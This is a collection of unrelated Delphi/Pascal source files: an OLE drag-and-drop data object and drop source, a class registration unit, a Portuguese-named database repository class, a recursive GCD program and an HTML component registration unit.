function TMyDataObject.AddRef: Longint; stdcall;
begin
Inc(RefCount);
Result := RefCount;
end;
function TMyDataObject.Release: Longint; stdcall;
begin
Dec(RefCount);
Result := RefCount;
if RefCount = 0 then
Free;
end;
function TMyDataObject.GetData(var formatetcIn: TFormatEtc; var medium: TStgMedium):
HResult; stdcall;
var
hdf: HGlobal;
pdf: PDropFiles;
ps: PChar;
s:String;
begin
if Failed(QueryGetData(formatetcIn)) then
Result := DV_E_FORMATETC
else begin
s:='c:\rr\a.txt';
hdf := GlobalAlloc(GMEM_SHARE, Sizeof(pdf^)+length(s)+2);
if hdf = 0 then begin
Result := E_OUTOFMEMORY;
Exit;
end;
pdf:=GlobalLock(hdf);
with pdf^ do
begin
pFiles:=sizeof(pdf^);
pt.X:=0;
pt.Y:=0;
fNC:=true;
fWide:=false;
end;
ps:=pchar(pdf)+sizeof(pdf^);
StrPCopy(ps,s);
(ps+length(s)+1)^:=#0;
GlobalUnlock(hdf);
with medium do begin
tymed := TYMED_HGLOBAL;
hGlobal:=hdf;
unkForRelease := nil;
end;
Result := S_OK;
end;
end;
function TMyDataObject.GetDataHere(var formatetc: TFormatEtc; var medium: TStgMedium):
HResult; stdcall;
begin
Result := E_NOTIMPL;
end;
function TMyDataObject.QueryGetData(var formatetc: TFormatEtc): HResult; stdcall;
begin
with formatetc do begin
if cfFormat <> CF_HDROP then
Result := DV_E_FORMATETC
else if (tymed and TYMED_HGLOBAL) = 0 then
Result := DV_E_TYMED
else
Result := S_OK;
end;
end;
function TMyDataObject.GetCanonicalFormatEtc(var formatetc: TFormatEtc;
var formatetcOut: TFormatEtc): HResult; stdcall;
begin
Result := E_NOTIMPL;
end;
function TMyDataObject.SetData(var formatetc: TFormatEtc; var medium: TStgMedium;
fRelease: BOOL): HResult; stdcall;
begin
Result := E_NOTIMPL;
end;
function TMyDataObject.EnumFormatEtc(dwDirection: Longint; var enumFormatEtc:
IEnumFormatEtc): HResult; stdcall;
begin
if dwDirection = DATADIR_GET then begin
enumFormatEtc := TMyEnum.Create;
enumFormatEtc.AddRef;
Result := S_OK;
end else begin
enumFormatEtc := nil;
Result := E_NOTIMPL;
end;
end;
function TMyDataObject.DAdvise(var formatetc: TFormatEtc; advf: Longint;
advSink: IAdviseSink; var dwConnection: Longint): HResult; stdcall;
begin
Result := E_NOTIMPL;
end;
function TMyDataObject.DUnadvise(dwConnection: Longint): HResult; stdcall;
begin
Result := E_NOTIMPL;
end;
function TMyDataObject.EnumDAdvise(var enumAdvise: IEnumStatData): HResult; stdcall;
begin
Result := E_NOTIMPL;
end;
{ TMyEnum }
function TMyEnum.QueryInterface(const iid: TIID; var obj): HResult; stdcall;
begin
if IsEqualIID(iid, IID_IUnknown) or IsEqualIID(iid, IID_IEnumFormatEtc) then begin
Pointer(obj) := self;
AddRef;
Result := S_OK;
end else begin
Pointer(obj) := nil;
Result := E_NOINTERFACE;
end;
end;
function TMyEnum.AddRef: Longint; stdcall;
begin
Inc(RefCount);
Result := RefCount;
end;
function TMyEnum.Release: Longint; stdcall;
begin
Dec(RefCount);
Result := RefCount;
if RefCount = 0 then
Free;
end;
function TMyEnum.Next(celt: Longint; var elt;
pceltFetched: PLongint): HResult; stdcall;
begin
Result := S_FALSE;
if (Index = 0) and (celt > 0) then begin
Inc(Index);
with TFormatEtc(elt) do begin
cfFormat := CF_HDROP;
ptd := nil; // not sure I should do this!
dwAspect := DVASPECT_ICON;
lindex := -1;
tymed := TYMED_HGLOBAL;
end;
if pceltFetched <> nil then pceltFetched^ := 1;
if celt = 1 then Result := S_OK;
end else begin
if pceltFetched <> nil then pceltFetched^ := 0;
end;
end;
function TMyEnum.Skip(celt: Longint): HResult; stdcall;
begin
Inc(Index, celt);
if Index > 1 then Result := S_FALSE else Result := S_OK;
end;
function TMyEnum.Reset: HResult; stdcall;
begin
Index := 0;
Result := S_OK;
end;
function TMyEnum.Clone(var enum: IEnumFormatEtc): HResult; stdcall;
begin
enum := TMyEnum.Create;
enum.AddRef;
TMyEnum(enum).Index := Index;
Result := S_OK;
end;
{ TMyDropDSource }
function TMyDropSource.QueryInterface(const iid: TIID; var obj): HResult; stdcall;
begin
if IsEqualIID(iid, IID_IUnknown) or IsEqualIID(iid, IID_IDropSource) then begin
Pointer(obj) := self;
AddRef;
Result := S_OK;
end else begin
Pointer(obj) := nil;
Result := E_NOINTERFACE;
end;
end;
function TMyDropSource.AddRef: Longint; stdcall;
begin
Inc(RefCount);
Result := RefCount;
end;
function TMyDropSource.Release: Longint; stdcall;
begin
Dec(RefCount);
Result := RefCount;
if RefCount = 0 then
Free;
end;
function TMyDropSource.QueryContinueDrag(fEscapePressed: BOOL;
grfKeyState: Longint): HResult; stdcall;
begin
if fEscapePressed then
Result := DRAGDROP_S_CANCEL
else if (grfKeyState and MK_LBUTTON) = 0 then
Result := DRAGDROP_S_DROP
else
Result := NOERROR;
end;
function TMyDropSource.GiveFeedback(dwEffect: Longint): HResult; stdcall;
begin
Result := DRAGDROP_S_USEDEFAULTCURSORS;
end;
{ Global Function }
function DragIt(s: string): Integer;
var
MyData: TMyDataObject;
MyDrop: TMyDropSource;
Effect: LongInt;
begin
Result := 0;
try
MyData := TMyDataObject.Create(s);
MyData.AddRef;
try
MyDrop := TMyDropSource.Create;
MyDrop.AddRef;
try
if (DoDragDrop(IDataObject(MyData), IDropSource(MyDrop),
DROPEFFECT_COPY, Effect) = DRAGDROP_S_DROP) and
(Effect = DROPEFFECT_COPY) then
Result := 1
else
Result := -1;
finally
MyData.Release;
end;
finally
MyDrop.Release;
end;
except
end;
end;
Constructor TGiveFiles.Create(Container:TContainerFile);
begin
FContainer:=Container;
end;
Destructor TGiveFiles.Destroy;
begin
if Copied then;
end;
Procedure TGiveFiles.SelectFiles(files:TStringList);
begin
end;
Procedure TGiveFiles.CopyIt; {Copies to clipboard}
begin
end;
Procedure TGiveFiles.DragIt; {Drag&drops}
begin
end;
{ Startup/Shutdown }
initialization
OleCheck(OleInitialize(nil));
finalization
OleUninitialize;
end.
|
unit AnotherProcessor;
interface
type TAnotherProcessor = class
end;
implementation
uses
SomeRegistry;
initialization
GetSomeRegistry.RegisterClass(TAnotherProcessor);
finalization
GetSomeRegistry.DeregisterClass(TAnotherProcessor);
end.
|
unit URepositorioTipoMovimentacao;
interface
uses
UEntidade
,UTipoMovimentacao
,URepositorioDB
,SqlExpr
;
type
TRepositorioTipoMovimentacao = class (TrepositorioDB<TTIPOMOVIMENTACAO>)
public
Constructor Create;
procedure AtribuiDBParaEntidade (const coTipoMovimentacao: TTIPOMOVIMENTACAO); override;
procedure AtribuiEntidadeParaDB (const coTipoMovimentacao: TTIPOMOVIMENTACAO;
const coSQLQuery: TSQLQuery); override;
end;
implementation
uses
UDM
;
{ TRepositorioMovimentacao }
procedure TRepositorioTipoMovimentacao.AtribuiDBParaEntidade(
const coTipoMovimentacao: TTIPOMOVIMENTACAO);
begin
inherited;
with FSQLSelect do
begin
coTipoMovimentacao.FNOME := FieldByName(FLD_TIPO_MOVIMENTACAO).AsString;
end;
end;
procedure TRepositorioTipoMovimentacao.AtribuiEntidadeParaDB(
const coTipoMovimentacao: TTIPOMOVIMENTACAO; const coSQLQuery: TSQLQuery);
begin
inherited;
with coSQLQuery do
begin
ParambyName(FLD_TIPO_MOVIMENTACAO).AsString := coTipoMovimentacao.FNOME;
end;
end;
constructor TRepositorioTipoMovimentacao.Create;
Begin
inherited create (TTIPOMOVIMENTACAO, TBL_TIPO_MOVIMENTACAO, FLD_ENTIDADE_ID, STR_TIPO_MOVIMENTACAO);
end;
end.
|
var a, b, answer: integer;
function gcd(m, n: integer): integer;
var modulo: integer;
begin
modulo := m mod n;
if modulo = 0 then
gcd := n
else
gcd := gcd (n, modulo)
end;
begin
a:=114;
b:=66;
writeln('Number 1: ', a);
writeln('Number 2: ', b);
answer := gcd(a, b);
writeln('Greatest common divisor: ', answer);
readln
end. |
unit Registration;
interface
procedure Register;
implementation
uses
Classes, StdCtrls, ComCtrls, ExtCtrls,
ClassInfo,
htPanel, htFlowPanel, htColumnsPanel,
htLabel, htImage, htGeneric,
htButton, htInput, htSelect,
htAjaxPanel, htTurboBox, htTurboSplitter;
procedure Register;
begin
//RegisterComponents('Containers', [ TPanel ]);
//RegisterComponents('Controls', [ TLabel, TButton, TEdit, TMemo, TImage ]);
with ComponentRegistry do
begin
RegisterComponents(
'TurboWidgets',
[ ThtAjaxPanel, ThtTurboBox, ThtTurboSplitter ],
[ 'TurboPanel', 'TurboBox', 'TurboSplitter' ]
);
RegisterComponents(
'HTML Containers',
[ ThtPanel, ThtFlowPanel, ThtColumnsPanel, ThtAjaxPanel ],
[ 'Free Layout', 'Flow Layout', 'Columns Layout', 'Ajax Layout' ]
);
RegisterComponents(
'HTML Controls',
[ ThtLabel, ThtImage, ThtGeneric ],
[ 'Label', 'Image', 'Generic Control' ]
);
RegisterComponents(
'HTML Inputs',
[ ThtButton, ThtInput, ThtSelect ],
[ 'Button', 'Text Input', 'Select' ]
);
end;
end;
end.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.